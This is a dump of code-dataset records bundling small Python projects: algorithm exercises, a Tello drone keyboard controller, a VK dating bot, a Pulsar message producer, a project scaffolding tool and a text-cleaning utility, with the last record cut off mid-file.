calc_signals\n\n selected_signals = select_signals(maturity_suffix, param_rviv.pct_prefix_list, param_rviv.median_prefix_list, param_rviv.proba_1_prefix_list)\n\n ref_data = query_rviv(ref_ticker)\n df = calc_signals(ticker, ref_data, selected_signals)\n\n signal_table.put_df_batch(df)\n\n return df\n\ndef process_signal_all(ref_ticker, maturity_suffix):\n\n table_name = \"signals\"+\"_\"+ref_ticker+\"_\"+maturity_suffix\n\n DB = Client(dbc)\n list_tables = DB.list_tables()\n\n # create table\n\n if table_name not in list_tables:\n DB.create_table(table_name, \"ticker\", \"S\", True, \"trade_date\", \"S\")\n DB.add_index(table_name, \"reverse\", \"trade_date\", \"S\", \"ticker\", \"S\")\n\n signal_table = Table(dbr.Table(table_name))\n\n #batch calc_signals\n\n selected_signals = select_signals(maturity_suffix, param_rviv.pct_prefix_list, param_rviv.median_prefix_list, param_rviv.proba_1_prefix_list)\n\n ref_data = query_rviv(ref_ticker)\n\n te_table = Table(dbr.Table(db_dict[\"vols_table\"]))\n tickers = list(set([item[\"ticker\"] for item in te_table.scan()]))\n\n for t in tickers:\n df = calc_signals(t, ref_data, selected_signals)\n #write them\n signal_table.put_df_batch(df)\n","repo_name":"BullManZ/kaziz17-osmv-Asie","sub_path":"src/library/signals/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"14490474450","text":"from tornado.web import url\n\nfrom app.handlers import SearchResultsDataHandler, CityOptionsHandler,\\\n SearchRequestHandler, BestOffersDataHandler, SaveOfferHandler, \\\n SavedOffersDataHandler, StatisticsImgHandler, PredictionImgHandler, \\\n FlightChoicesHandler\n\nurls = [\n url(r'/ajax/search_request$', SearchRequestHandler, name='search-request'),\n url(r'/ajax/best_offers$', BestOffersDataHandler, name='best-offers-data'),\n url(r'/ajax/saved_offers$', SavedOffersDataHandler, name='saved-offers-data'),\n url(r'/ajax/search_results/(?P[\\w-]+)$', SearchResultsDataHandler, name='search-results-data'),\n url(r'/ajax/city_options/(?P[\\w %,-]+)$', CityOptionsHandler, name='city-options'),\n url(r'/ajax/save_offer/(?P[\\w-]+)/(?P[0-9]+)$', SaveOfferHandler, name='save-offer'),\n url(r'/ajax/flights/(?P[\\w-]+)$', FlightChoicesHandler, name='flights'),\n\n url(r'/admin/ajax/statistics/(?P[0-9]+)$', StatisticsImgHandler, name='admin-statistics'),\n url(r'/admin/ajax/prediction/(?P[0-9]+)$', PredictionImgHandler, name='admin-prediction'),\n]\n","repo_name":"Lootgvfr/travel-search","sub_path":"url/ajax.py","file_name":"ajax.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"37067251817","text":"coin_list = [1, 100, 50, 500]\n\n\ndef solution(value, coin_list):\n cnt = 0\n details = list()\n coin_list.sort(reverse=True)\n\n for coin in coin_list:\n coin_num = value // coin\n cnt += coin_num\n value -= coin_num * coin\n details.append([coin, coin_num])\n\n return cnt, details\n\n\nprint(solution(5320, coin_list))\n","repo_name":"junh0328/prepare_algorithm","sub_path":"algo2/greedy.py","file_name":"greedy.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"43044283756","text":"#3 write a function which takes an array of numbers as an input and finds the lowest value. Return the index of that element and its value (1p)\r\nimport numpy as np\r\nimport random as rd\r\n\r\ndef mini(x):\r\n print(x.min())\r\n for i in range(int((np.size(x)/len(x)))):\r\n for j in range(len(x)):\r\n if x[j,i]== x.min():\r\n print('najmniejsza wartosc to:',x.min(),' i znajduje sie w miejscu o indeksie:',i,',',j)\r\n \r\n \r\nx=np.zeros([12,34])\r\n\r\nfor i in range(int((np.size(x)/len(x)))):\r\n for j in range(len(x)):\r\n x[j,i]=rd.randint(10,500)\r\nprint(x)\r\n\r\nmini(x)","repo_name":"M-Marszalek/MetNum","sub_path":"zadania/lista1/1-3.py","file_name":"1-3.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74222912488","text":"#User function Template for python3\n\nclass Solution:\n \n #Function to find if there is a celebrity in the party or not.\n def celebrity(self, m, n):\n # code here \n dp={i:[False,0] for i in range(n)}\n \n for i in range(n):\n for j in range(n):\n if m[i][j]==1:\n dp[j][1]+=1\n dp[i][0]=True\n for k in dp:\n if dp[k][0]==False:\n if dp[k][1]==n-1:\n return k\n return -1\n \n \n\n\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__':\n t = int(input())\n for _ in range(t) :\n n = int(input())\n a = list(map(int,input().strip().split()))\n k = 0\n m = []\n for i in range(n):\n row = []\n for j in range(n):\n row.append(a[k])\n k+=1\n m.append(row)\n ob = Solution()\n print(ob.celebrity(m,n))\n# } Driver Code Ends","repo_name":"abhi-apple/leetcode","sub_path":"The Celebrity Problem - GFG/the-celebrity-problem.py","file_name":"the-celebrity-problem.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"1068332194","text":"# -*- coding: utf-8 -*-\n\nM_NUMBER = 123\nTXT_FILENAME = 'file.txt'\nINV_ARG = 'wrong argument'\nPYSTR = 'python'\nCLISTR = 'students/lishanda/3/cli.py'\nDIRSTR = 'dir'\nTXTSTR = ''\n\n\ndef mkdir(directory):\n \"\"\"Mkdir func.\"\"\"\n directory.mkdir()\n","repo_name":"sobolevn/itmo-2019","sub_path":"students/lishanda/3/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"34971426976","text":"import os\nimport cv2\nimport pygame\nfrom time import sleep, time\nfrom djitellopy import tello\n\n# initialize pygame\npygame.init()\nHEIGHT, WIDTH = 600, 600\nWIN = pygame.display.set_mode((HEIGHT, WIDTH))\npygame.display.set_caption('tello keyboard')\nFPS = 60\n\n# initialize drone logo\nWHITE = (255, 255, 255)\nBLUE = (0, 0, 255)\nLOGO_HEIGHT, LOGO_WIDTH = 100, 100\nTELLO_LOGO = pygame.image.load(os.path.join('assets', 'tello_logo.jpg'))\nTELLO_LOGO = pygame.transform.scale(TELLO_LOGO, (LOGO_HEIGHT, LOGO_WIDTH))\ndrone_logo = pygame.Rect((HEIGHT-LOGO_HEIGHT)//2, (WIDTH-LOGO_WIDTH)//2, LOGO_HEIGHT, LOGO_WIDTH)\n\n# initialize tello drone\ndrone = tello.Tello()\n\ndef init():\n # connect the drone\n drone.connect()\n drone.streamon()\n print(drone.get_battery)\n\ndef getKey(keyName, keys_pressed):\n ans = False\n myKey = getattr(pygame, 'K_{}'.format(keyName))\n if keys_pressed[myKey]:\n ans = True\n return ans\n\ndef set_drone_controls(keys_pressed):\n lr, fb, ud, yv = 0, 0, 0, 0\n speed = 50\n\n if getKey(\"LEFT\", keys_pressed): lr = -speed\n elif getKey(\"RIGHT\", keys_pressed): lr = speed\n\n if getKey(\"UP\", keys_pressed): fb = speed\n elif getKey(\"DOWN\", keys_pressed): fb = -speed\n\n if getKey(\"w\", keys_pressed): ud = speed\n elif getKey(\"s\", keys_pressed): ud = -speed\n\n if getKey(\"a\", keys_pressed): yv = -speed\n elif getKey(\"d\", keys_pressed): yv = speed\n\n drone.send_rc_control (lr, fb, ud, yv)\n\ndef get_image(keys_pressed):\n img = drone.get_frame_read().frame\n img = cv2.resize(img, (360,240))\n cv2.imshow(\"Image\", img)\n cv2.waitKey(1)\n\n if (getKey('p', keys_pressed)):\n filename = os.path.join('images', '{}.jpg'.format(time))\n cv2.imwrite(filename, img)\n\n\ndef set_logo_controls(keys_pressed, VEL = 5):\n if getKey(\"LEFT\", keys_pressed) and drone_logo.x - VEL > 0:\n drone_logo.x -= VEL\n if getKey(\"RIGHT\", keys_pressed) and drone_logo.x + VEL + drone_logo.width < WIDTH:\n drone_logo.x += VEL\n if getKey(\"UP\", keys_pressed) and drone_logo.y -VEL > 0:\n drone_logo.y -= VEL\n if getKey(\"DOWN\", keys_pressed) and drone_logo.y + VEL + drone_logo.height < HEIGHT:\n drone_logo.y += VEL\n\n\ndef draw_window() :\n WIN.fill(WHITE)\n WIN.blit(TELLO_LOGO, (drone_logo.x, drone_logo.y))\n pygame.display.update()\n\n\ndef main() :\n init()\n clock = pygame.time.Clock()\n\n run = True\n while run:\n \n clock.tick(FPS)\n\n for eve in pygame.event.get():\n if eve.type == pygame.QUIT:\n cv2.destroyAllWindows()\n drone.end()\n run = False\n\n keys_pressed = pygame.key.get_pressed()\n\n get_image(keys_pressed)\n\n if drone.is_flying :\n if (getKey('q', keys_pressed)):\n drone.land()\n\n set_drone_controls(keys_pressed)\n set_logo_controls(keys_pressed)\n \n \n elif getKey('e', keys_pressed):\n drone.takeoff()\n sleep(5)\n\n draw_window()\n\n\n\nif __name__ == '__main__' :\n main()","repo_name":"shubhxm02/tello-sg","sub_path":"files/KeyboardFinal.py","file_name":"KeyboardFinal.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8464481713","text":"#-*-coding:utf8-*-\n\nversion = '06'\n\ndef division(divisor, divident):\n if divident == 0:\n return 0.0\n else:\n return divisor / divident\n\ndef main():\n theta = list()\n featureMean = list()\n featureRange = list()\n\n # load featureMean and featureRange\n with open('featureMean.txt', 'r') as fin:\n content = fin.read()[1:-1]\n featureMean = [(float) (num) for num in content.split(',')]\n\n with open('featureRange.txt', 'r') as fin:\n content = fin.read()[1:-1]\n featureRange = [(float) (num) for num in content.split(',')]\n\n # load theta\n with open('theta_to_gen_result.txt', 'r') as fin:\n content = ''.join(fin.read().split())[1:-1]\n theta = [(float) (feature) for feature in content.split(',')]\n\n\n fout = open('result-' + version + '.csv', 'ab')\n fout.write('Id,reference\\n')\n\n # load features list frome test samples\n with open('test_temp.csv') as fin:\n datas = fin.readlines()[1:]\n\n dimension = len(theta) - 1\n for data in datas:\n data = data.split(',')\n features = [(float) (data[i]) for i in range(1, dimension + 1)]\n \n estimate = theta[dimension]\n for i in range(dimension):\n scaledFeature = division(features[i] - featureMean[i], featureRange[i])\n estimate += theta[i] * scaledFeature\n\n fout.write(data[0] + ',' + str(round(estimate, 6)) + '\\n')\n\n fout.close()\n\n fout = open('log.txt', 'ab')\n fout.write('version: ' + version + '\\ntheta: ')\n fout.write(str(theta) + '\\n\\n')\n fout.close()\n\nif __name__ == \"__main__\":\n main()","repo_name":"T8PJM3Ei86jfJapV/linear-regression","sub_path":"output/gen_result.py","file_name":"gen_result.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26157881430","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nplt.style.use('seaborn-deep')\n\nx = np.random.normal(1, 2, 5000)\ny = np.random.normal(-1, 3, 5000)\ndata = np.vstack([x, y]).T\nbins = np.linspace(-10, 10, 30)\n\nplt.hist(data, bins, alpha=0.7, label=['x', 'y'])\nplt.legend(loc='upper right')\nplt.show()","repo_name":"zarkaltair/Other-for-python","sub_path":"Python library/Matplotlib/create_gist_exmpl_2.py","file_name":"create_gist_exmpl_2.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27601348834","text":"# 利用 memoryviews 来发送和接受大数组\ndef send_from(arr, dest):\n view = memoryview(arr).cast('B')\n while len(view):\n nsent = dest.send(view)\n view = view[nsent:]\n\n\ndef recv_into(arr, source):\n view = memoryview(arr).cast('B')\n while len(view):\n nrecv = source.recv_into(view)\n print(nrecv)\n view = view[nrecv:]\n\n# 本质上,一个内存视图就是一个已存在数组的覆盖层。\n# 不仅仅是那样, 内存视图还能以不同的方式转换成不同类型来表现数据。\n\n# 我们使用很多不同的 send() 和 recv_into() 来传输整个数组。\n# 不用担心,每次操作后,视图会通过发送或接受字节数量被切割成新的视图。\n# 新的视图同样也是内存覆盖层。因此,还是没有任何的复制操作。\n","repo_name":"mofei952/cookbook","sub_path":"c11_network_and_web_program/p13_sending_receiving_large_arrays/zerocopy.py","file_name":"zerocopy.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6252295694","text":"import json\nimport logging\nimport os\nimport sys\nfrom datetime import datetime\n\n# Flask\nfrom flask_restful import Resource\nfrom google.protobuf.json_format import MessageToJson\n\ncurrent = os.path.dirname(os.path.realpath(__file__))\nparent = os.path.dirname(current)\nsys.path.append(parent)\n\nimport pulsar\nfrom faker import Faker\n\nfrom schemas.orden_pb2 import Orden\n\nfake = Faker()\n\nlogger = logging.getLogger('pulsar:client')\nlogger.setLevel(logging.DEBUG)\nconsola = logging.StreamHandler()\nconsola.setLevel(logging.DEBUG)\nlogger.addHandler(consola)\n\n\ndef get_order_data():\n dt = datetime.now()\n return {\n \"id\": fake.uuid4(),\n \"client_id\": fake.random_int(min=1, max=1000),\n \"address\": fake.address(),\n \"status\": \"pending\",\n \"created_at\": datetime.timestamp(dt)\n }\n\n\ndef create_order():\n try:\n client = pulsar.Client(os.environ.get('PULSAR_BROKER_URL'))\n\n producer = client.create_producer('crear-orden')\n command = Orden()\n order_dict = get_order_data()\n command.id = order_dict[\"id\"]\n command.client_id = order_dict[\"client_id\"]\n command.address = order_dict[\"address\"]\n command.status = order_dict[\"status\"]\n command.created_at = order_dict[\"created_at\"]\n logger.info(command)\n event_bytes = command.SerializeToString()\n producer.send(event_bytes)\n\n return json.loads(MessageToJson(command))\n except pulsar.PulsarException as e:\n logger.error(f\"Failed to connect to Pulsar broker: {e}\")\n\n\nclass OrdersView(Resource):\n\n def post(self):\n\n return create_order()\n","repo_name":"jandresboyaca/Non-monolithic-applications","sub_path":"client/views/orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2135075842","text":"import sys\nfrom collections import deque\n\n\nM, N = map(int, sys.stdin.readline().split())\n\nbox = []\nqueue = deque()\ncount = 0\nfor i in range(N):\n box.append(list(map(int, sys.stdin.readline().split())))\n for j in range(M):\n if box[i][j] == 1:\n queue.append((i, j, 0))\n elif box[i][j] == 0:\n count += 1\n\ndrc = [[0, 1], [0, -1], [1, 0], [-1, 0]]\nwhile queue:\n ripen = queue.popleft()\n\n for d in drc:\n new_r, new_c = ripen[0] + d[0], ripen[1] + d[1]\n\n if 0 <= new_r < N and 0 <= new_c < M and box[new_r][new_c] == 0:\n queue.append((new_r, new_c, ripen[2] + 1))\n box[new_r][new_c] = 1\n count -= 1\n\nprint(ripen[2] if count == 0 else -1)\n","repo_name":"WoosubLeee/algorithm-study","sub_path":"백준/Gold/7576_토마토.py","file_name":"7576_토마토.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33034280011","text":"import vk_api\r\nfrom vk_api.longpoll import VkLongPoll, VkEventType\r\nfrom Db_create import engine, Base, Session, write_msg, add_user_fav, add_user_watched, add_to_bl, \\\r\n check_db_user, check_register, check_bl, delete_db_blacklist, check_db_favorites, delete_db_favorites, register_user\r\nfrom setting import group_token, user_token, v\r\nfrom function_Vkinder import find_user, get_photo, sort_likes, json_create\r\nimport requests\r\nfrom datetime import datetime\r\n\r\nvk = vk_api.VkApi(token=group_token)\r\nlongpoll = VkLongPoll(vk)\r\n\r\nsession = Session()\r\nconnection = engine.connect()\r\n\r\n\r\ndef loop_bot():\r\n for this_event in longpoll.listen():\r\n if this_event.type == VkEventType.MESSAGE_NEW:\r\n if this_event.to_me:\r\n message_text = this_event.text\r\n return message_text, this_event.user_id\r\n\r\n\r\ndef bot_menu(id_num):\r\n write_msg(\r\n id_num, f\"Привет я бот Vkinder!\\n\"\r\n f\"Для поиск - 'поиск'\\n\"\r\n f\"Избранное - 2\\n\"\r\n f\"Черный список - b\\n\")\r\n\r\n\r\ndef info():\r\n write_msg(\r\n user_id, f'Последняя анкета.'\r\n f'Избранное - 2'\r\n f'Черный список - b'\r\n f'Поиск? Пиши - Поиск'\r\n f'Меню или перезапуск - Начать')\r\n\r\n\r\ndef reg_new_user(id_num):\r\n write_msg(id_num, 'Регистрация пройдена!')\r\n register_user(id_num)\r\n\r\n\r\ndef to_favorites(ids):\r\n all_fav_user = check_db_favorites(ids)\r\n write_msg(ids, f'Те кого вы добавили в избранное:')\r\n for nums, users in enumerate(all_fav_user):\r\n res_fv_search = get_info_fv(users.vk_id)\r\n user_fav_photo = get_photo(users.vk_id)\r\n sor_user_phot = sort_likes(user_fav_photo)\r\n write_msg(ids, f'\\n{res_fv_search[0][1]} {res_fv_search[0][2]} {res_fv_search[0][0]}')\r\n try:\r\n write_msg(user_id,\r\n f'фото:',\r\n attachment=','.join([\r\n sor_user_phot[-1][1], sor_user_phot[-2][1],\r\n sor_user_phot[-3][1]\r\n ]))\r\n except IndexError:\r\n for photo in range(len(sor_user_phot)):\r\n write_msg(user_id, f'фото:', attachment=sor_user_phot[photo][1])\r\n write_msg(ids, '1 - Удалить, 2 - Далее \\n4 - Выйти')\r\n msg_texts, user_ids = loop_bot()\r\n if msg_texts == '2':\r\n if nums >= len(all_fav_user) - 1:\r\n write_msg(\r\n user_ids, f'Последняя анкета.\\n'\r\n f'Начать - для перезапуска\\n')\r\n elif msg_texts == '1':\r\n delete_db_favorites(users.vk_id)\r\n write_msg(user_ids, f'Анкета удалена.')\r\n if nums >= len(all_fav_user) - 1:\r\n write_msg(\r\n user_ids, f'Последняя анкета.\\n'\r\n f'Начать - для перезапуска\\n')\r\n elif msg_texts.lower() == '4':\r\n write_msg(ids, 'Начать - для старта')\r\n break\r\n else:\r\n input_error()\r\n break\r\n\r\n\r\ndef to_blacklist(ids):\r\n all_bl_user = check_bl(ids)\r\n write_msg(ids, f'Те кого вы добавили в черны�� список:')\r\n for num, user in enumerate(all_bl_user):\r\n res_bl_search = get_info_fv(user.vk_id)\r\n user_bl_photo = get_photo(user.vk_id)\r\n sor_user_phot = sort_likes(user_bl_photo)\r\n write_msg(ids, f'\\n{res_bl_search[0][1]} {res_bl_search[0][2]} {res_bl_search[0][0]}')\r\n try:\r\n write_msg(user_id,\r\n f'фото:',\r\n attachment=','.join([\r\n sor_user_phot[-1][1], sor_user_phot[-2][1],\r\n sor_user_phot[-3][1]\r\n ]))\r\n except IndexError:\r\n for photo in range(len(sor_user_phot)):\r\n write_msg(user_id, f'фото:', attachment=sor_user_phot[photo][1])\r\n write_msg(ids, '1 - Удалить, 2 - Далее \\n4 - Выход')\r\n msg_texts, user_ids = loop_bot()\r\n if msg_texts == '2':\r\n if num >= len(all_bl_user) - 1:\r\n write_msg(\r\n user_ids, f'Последняя анкета.\\n'\r\n f'Начать - для перезапуска\\n')\r\n elif msg_texts == '1':\r\n print(user.id)\r\n delete_db_blacklist(user.vk_id)\r\n write_msg(user_ids, f'Анкета удалена.')\r\n if num >= len(all_bl_user) - 1:\r\n write_msg(\r\n user_ids, f'Последняя анкета.\\n'\r\n f'Начать - для перезапуска\\n')\r\n elif msg_texts.lower() == '4':\r\n write_msg(ids, 'Начать - для перезапуска')\r\n break\r\n else:\r\n input_error()\r\n break\r\n\r\n\r\ndef get_info(user_id):\r\n url = 'https://api.vk.com/method/users.get'\r\n params = {'user_ids': user_id, 'fields': 'bdate,sex,city',\r\n 'access_token': user_token,\r\n 'v': v}\r\n res = requests.get(url, params=params)\r\n json_res_search = res.json()\r\n try:\r\n if 'bdate' in json_res_search['response'][0].keys() and \\\r\n len(json_res_search['response'][0]['bdate']) > 7:\r\n age_use = int(json_res_search['response'][0]['bdate'][-4:])\r\n age_to = (int(datetime.now().year) - age_use) + 3\r\n age_at = (int(datetime.now().year) - age_use) - 3\r\n\r\n else:\r\n write_msg(user_id, 'Возраст от:')\r\n msg_text, user_id = loop_bot()\r\n age_to = msg_text[0:1]\r\n write_msg(user_id, 'Возраст до:')\r\n msg_text, user_id = loop_bot()\r\n age_at = msg_text[0:1]\r\n\r\n sex_user = json_res_search['response'][0]['sex']\r\n if sex_user == 1:\r\n sex = 2\r\n elif sex_user == 2:\r\n sex = 1\r\n\r\n else:\r\n write_msg(user_id, 'Пол? \\n1 - Женский\\n2 - Мужской')\r\n msg_text, user_id = loop_bot()\r\n sex = msg_text[0:1]\r\n\r\n if 'city' in json_res_search['response'][0]:\r\n city = json_res_search['response'][0]['city']['title']\r\n\r\n else:\r\n write_msg(user_id, 'Введите город')\r\n msg_text, user_id = loop_bot()\r\n city = msg_text[0:len(msg_text)].lower()\r\n\r\n return sex, age_to, age_at, city\r\n except KeyError:\r\n write_msg(user_id, 'Ошибка получения токена. Добавьте токен пользователя user_token (в setting.py)')\r\n\r\ndef get_info_fv(user_id):\r\n vk_ = vk_api.VkApi(token=user_token)\r\n response = vk_.method('users.get', {'user_ids': user_id, 'access_token': user_token, 'v': v})\r\n res_fv = []\r\n res_fv.append(['https://vk.com/id' + str(response[0]['id']), response[0][\"first_name\"], response[0][\"last_name\"]])\r\n return res_fv\r\n\r\n\r\n\r\ndef input_error():\r\n write_msg(user_id, 'Я Вас не понимаю.'\r\n '\\nНачать - для активации или перезапуска.')\r\n\r\n\r\nif __name__ == '__main__':\r\n Base.metadata.drop_all(engine)\r\n Base.metadata.create_all(engine)\r\n while True:\r\n msg_text, user_id = loop_bot()\r\n\r\n if msg_text[0:6].lower() == 'начать':\r\n bot_menu(user_id)\r\n msg_text, user_id = loop_bot()\r\n cur_user_id = check_register(user_id)\r\n if cur_user_id is None:\r\n reg_new_user(user_id)\r\n if msg_text[0:5].lower() == 'поиск':\r\n sex, age_to, age_at, city = get_info(user_id)\r\n res_search = find_user(sex, int(age_at), int(age_to), city)\r\n json_create(res_search)\r\n cur_user_id = check_register(user_id)\r\n for i in range(len(res_search)):\r\n favorites, black_list_user, wathced_users = check_db_user(res_search[i][3])\r\n user_photo = get_photo(res_search[i][3])\r\n if user_photo == 'нет доступа' or favorites is not None or black_list_user is not None or wathced_users is not None:\r\n continue\r\n sor_user_photo = sort_likes(user_photo)\r\n write_msg(\r\n user_id,\r\n f'\\n{res_search[i][0]} {res_search[i][1]} {res_search[i][2]}',\r\n )\r\n try:\r\n write_msg(user_id,\r\n f'фото:',\r\n attachment=','.join([\r\n sor_user_photo[-1][1], sor_user_photo[-2][1],\r\n sor_user_photo[-3][1]\r\n ]))\r\n except IndexError:\r\n for photo in range(len(sor_user_photo)):\r\n write_msg(user_id,\r\n f'фото:',\r\n attachment=sor_user_photo[photo][1])\r\n write_msg(\r\n user_id,\r\n '1 - В избранное, 2 - В черный список, 3 - Далее, \\n4 - выход'\r\n )\r\n msg_text, user_id = loop_bot()\r\n if msg_text == '3':\r\n if i >= len(res_search) - 1:\r\n info()\r\n add_user_watched(user_id, res_search[i][3], cur_user_id.id)\r\n elif msg_text == '1':\r\n if i >= len(res_search) - 1:\r\n info()\r\n break\r\n add_user_fav(user_id, res_search[i][3], cur_user_id.id)\r\n elif msg_text == '2':\r\n if i >= len(res_search) - 1:\r\n info()\r\n add_to_bl(user_id, res_search[i][3], cur_user_id.id)\r\n elif msg_text.lower() == '4':\r\n write_msg(user_id, 'Пока.')\r\n break\r\n else:\r\n input_error()\r\n break\r\n\r\n\r\n elif msg_text == '2':\r\n to_favorites(user_id)\r\n\r\n elif msg_text == 'b':\r\n to_blacklist(user_id)\r\n\r\n else:\r\n input_error()\r\n\r\n elif len(msg_text) > 0:\r\n write_msg(user_id, f'Привет! '\r\n f'\\nНачать - для активации.')\r\n","repo_name":"Lunrutum/Diploma-VkindePy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"30617059463","text":"#!/usr/bin/python\n\nimport sys\n\n\n# Check for directed graph\ndef bellman(s, g):\n # infinity weight\n e = {k: sys.maxsize for k in g.keys()}\n e[s] = 0\n\n # n-1 times because a graph will have\n # n-1 edges at max without cycle\n for i in range(len(g) - 1):\n for k in g:\n for (n, w) in g[k]:\n e[n] = min(e[n], e[k] + w)\n return e\n\n\ndef testBellmanshortestPath():\n graph = {1: [(2, 2), (3, 3), (4, 7)], 2: [(5, 3)], 3: [(4, -2)], 4: [(5, 2)], 5: []}\n\n e = bellman(1, graph)\n print(e)\n\n\ntestBellmanshortestPath()\n","repo_name":"rakontuh/algorithms","sub_path":"Algorithms/Python/Graph/Bellman.py","file_name":"Bellman.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"26626355651","text":"# -*- coding: utf-8 -*-\n# ---------------------------------------------\n# @Time : 2020/8/3 5:25 下午\n# @Author : cxy =.=\n# @File : main.py\n# @Software: PyCharm\n# @Desc :\n# ---------------------------------------------\nimport os\nimport shutil\nimport stat\nimport sys\n\nsys.path.append('../../fastproject')\nimport fastproject\nfrom django.template import Engine, Context\n\n\ndef make_writeable(filename):\n if not os.access(filename, os.W_OK):\n st = os.stat(filename)\n new_permissions = stat.S_IMODE(st.st_mode) | stat.S_IWUSR\n os.chmod(filename, new_permissions)\n\n\ndef execute(argv):\n command, project_name = argv[1], argv[2]\n print(f'command: {command}')\n print(f'project_name: {project_name}')\n base_name = 'project_name'\n\n top_dir = os.path.join(os.getcwd(), project_name)\n print(f\"top_dir: {top_dir}\")\n os.makedirs(top_dir)\n\n camel_case_value = '_'.join(x for x in project_name.split('-'))\n context = Context({\n base_name: project_name,\n 'project_directory': top_dir,\n 'camel_case_project_name': camel_case_value,\n }, autoescape=False)\n\n template_dir = os.path.join(fastproject.__path__[0], 'project_template')\n print(template_dir)\n prefix_length = len(template_dir) + 1\n for root, dirs, files in os.walk(template_dir):\n print(root, dirs, files)\n path_rest = root[prefix_length:]\n relative_dir = path_rest.replace(base_name, camel_case_value)\n if relative_dir:\n target_dir = os.path.join(top_dir, relative_dir)\n os.makedirs(target_dir, exist_ok=True)\n\n for dirname in dirs[:]:\n if dirname.startswith('.') or dirname == '__pycache__':\n dirs.remove(dirname)\n\n for filename in files:\n if filename.endswith(('.pyo', '.pyc', '.py.class')):\n continue\n old_path = os.path.join(root, filename)\n new_path = os.path.join(\n top_dir, relative_dir, filename.replace(base_name, project_name)\n )\n for old_suffix, new_suffix in [('.py-tpl', '.py')]:\n if new_path.endswith(old_suffix):\n new_path = new_path[:-len(old_suffix)] + new_suffix\n break # Only rewrite once\n\n # if os.path.exists(new_path):\n # raise CommandError(\n # \"%s already exists. Overlaying %s %s into an existing \"\n # \"directory won't replace conflicting files.\" % (\n # new_path, self.a_or_an, app_or_project,\n # )\n # )\n\n # Only render the Python files, as we don't want to\n # accidentally render Django templates files\n if new_path.endswith('.py') or filename in []:\n with open(old_path, encoding='utf-8') as template_file:\n content = template_file.read()\n template = Engine().from_string(content)\n content = template.render(context)\n with open(new_path, 'w', encoding='utf-8') as new_file:\n new_file.write(content)\n else:\n shutil.copyfile(old_path, new_path)\n\n try:\n shutil.copymode(old_path, new_path)\n make_writeable(new_path)\n except OSError:\n # self.stderr.write(\n # \"Notice: Couldn't set permission bits on %s. You're \"\n # \"probably using an uncommon filesystem setup. No \"\n # \"problem.\" % new_path, self.style.NOTICE)\n pass\n\n\ndef main():\n execute(sys.argv)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ChuXiaoYi/fastproject","sub_path":"fastproject/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"70618656168","text":"import pandas as pd\nimport pickle\nimport nltk\nfrom nltk.stem import WordNetLemmatizer, SnowballStemmer\nfrom nltk.tokenize import sent_tokenize, word_tokenize\nfrom joblib import dump\nstemmer = SnowballStemmer('spanish')\n\ncolumns_interes = [\"DESCRIPCION_PROYECTO\"]\ncolumns_not_na = [\"ID_PROYECTO\", \"NUMERO_CONVOCATORIA\",\n \"DESCRIPCION_PROYECTO\"]\n\n\nclass CleanTools():\n \"\"\"Limpieza y steamming de nuevos textos\"\"\"\n\n def __init__(self):\n self.s_ = None\n self.df_ = None\n\n def clean_str_series(self, s):\n \"\"\"\n Convierte caracteres de utf8 a ascii y elimina errores\n\n\n Parameters:\n -----------\n s: string\n\n\n Returns:\n --------\n s: string\n \"\"\"\n\n s = s.str.normalize('NFKD').str.encode(\n 'ascii', errors='ignore').str.decode('utf-8') \\\n .str.capitalize().str.strip().str.replace('[^\\w\\s]', '')\n\n return s\n\n def text_cleaner(self, df,\n columns_to_clean=[\"DESCRIPCION_PROYECTO\"],\n columns_not_na=columns_not_na):\n \"\"\"\n Elimina filas de un df en caso de ser vacías y aplica la función\n clean_str_series\n\n\n Parameters:\n -----------\n df: dataframe a limpiar\n columns_to_clean: columnas a aplicar clean_str_series\n columns_not_na: columnas a deshechar en caso de que sean NA\n\n\n Returns:\n --------\n df: dataframe con columnas limpias\n \"\"\"\n\n print(\"...text_cleaner\")\n # Quitar registros no validos\n df = df.dropna(subset=columns_not_na, axis=0)\n # Formato texto\n for d in columns_to_clean:\n if df[d].dtype == object:\n df[d] = self.clean_str_series(df[d])\n\n self.df_ = df\n\n def stem_sentence(self, sentence, min_len=4):\n 